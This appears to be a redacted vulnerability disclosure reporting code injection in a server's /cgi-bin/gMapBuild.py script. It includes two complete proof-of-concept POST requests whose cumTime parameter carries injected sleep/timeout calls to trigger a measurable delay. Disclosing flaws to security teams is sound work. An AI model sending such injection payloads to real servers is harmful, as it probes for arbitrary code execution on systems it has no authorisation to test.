Сode injection host █████████

How it was found

Good day, security team. Host █████████ vulnerable to code injection. POC The server makes a time delay.

POST /cgi-bin/gMapBuild.py HTTP/1.1 Host: ███ Accept: / Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 65 Connection: close

mapArea=colP&cumTime=${{"sleep"%2c"13"})}${{"timeout"%2c"13"})}

or

POST /cgi-bin/gMapBuild.py HTTP/1.1 Host: ██████████ Accept: / Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 79 Connection: close

mapArea=colP&cumTime=${sleep(hexdec(dechex(13)))}${sleep(hexdec(dechex(13)))}

Impact

Potential execution of arbitrary code. https://owasp.org/www-community/attacks/Code_Injection